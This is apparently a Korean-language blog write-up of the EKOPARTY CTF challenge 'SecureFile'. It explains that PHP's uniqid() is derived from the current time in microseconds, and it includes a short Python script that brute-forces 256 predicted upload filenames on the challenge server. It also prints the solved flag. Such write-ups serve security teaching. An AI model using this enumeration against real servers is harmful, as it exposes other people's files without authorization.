[EKOPARTY] SecureFile

SecureFile

They can only recover the flag in hundreds of years.

http://securefile.ctf.site:10080/


문제 링크에 접속하면 아래와 같은 문장들이 뜬다.


A few seconds after my last birthday, a file flag.txt was release with the following code:
$target_dir = "uploads/";
$target_file = $target_dir . substr(uniqid(), 0, 8) . "_" . basename($_FILES["fileToUpload"]["name"]);

if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }

Can you get the file?

J. Assange


뭐 대충 flag.txt 파일이 자기 생일 조금 지난 시간에 아래 코드를 통해 업로드 됫다고 한다.
대충 보니 uploads/ 폴더 아래 uniqid() 값 8자리와 _ , 그리고 flag.txt가 합쳐져서 올라가는거 같다.

flag.txt파일은 XXXXXXXX_flag.txt와 같은 이름으로 uploads/ 아래 있다는 것이다.
그런데 uniqid() 함수의 결과 값은 HEX 값으로 겹치지 않는 값을 리턴한다고 한다.

즉, Brute Force로 하게되면 168 이 되니 대충 4294967296가지 경우의 수가 있다는 뜻이다.
물론 저 4294967296가지를 모두 해봐도 되지만, uniqid() 함수는 랜덤한 값을 가지지는 않는다.

이 글을 보면 자세히 알 수 있는데, 이 문제에 풀이에 필요한 부분만 발췌해온다면,

<?php
$microtime = microtime(true);
$id = uniqid();

echo dechex($microtime); // 5228cee5
echo $id;                // 5228cee5564a0

이 부분이다.
즉 uniqid() 함수의 값은 microtime() 함수의 값을 hex로 변환 한것과 유사한데, 여기서 microtime() 함수는 Unix Time을 micro단위 까지 표현한 수를 반환단다.

그렇다면 이제 문제를 풀기 쉬워지는데, 문제 제일 아래 나온 “J. Assange “의 생일인 7월 3일이니,
“last birthday”인 2017년 7월 3일 날 Unix Time을 가지고 hex로 바꾸게 되면 앞에 6자리 정돈 구할 수 있게 된다.

이를 가지고 python으로 긁으면 되는데, 사용한 코드는 아래와 같다.

import requests
base="595989"
url="http://securefile.ctf.site:10080/uploads/"
for i in range(0,int('100',16)):
	uniqid=base+hex(i)[2:].zfill(2)
	r = requests.get(url+uniqid+"_"+"flag.txt")
	print uniqid
	if r.status_code == 200:
		print ">>>>"+uniqid
		print url+uniqid+"_"+"flag.txt"
		exit()

위 툴을 돌리면,
http://securefile.ctf.site:10080/uploads/59598902_flag.txt 가 나오며,(젠장 그냥 손으로 할껄)
링크로 들어가 보면 FLAG가 나오게 된다.

EKO{uniqid() ~= microtime()}

글의 문제가 있다면 댓글을 달아 주세요.

This site uses Akismet to reduce spam. Learn how your comment data is processed.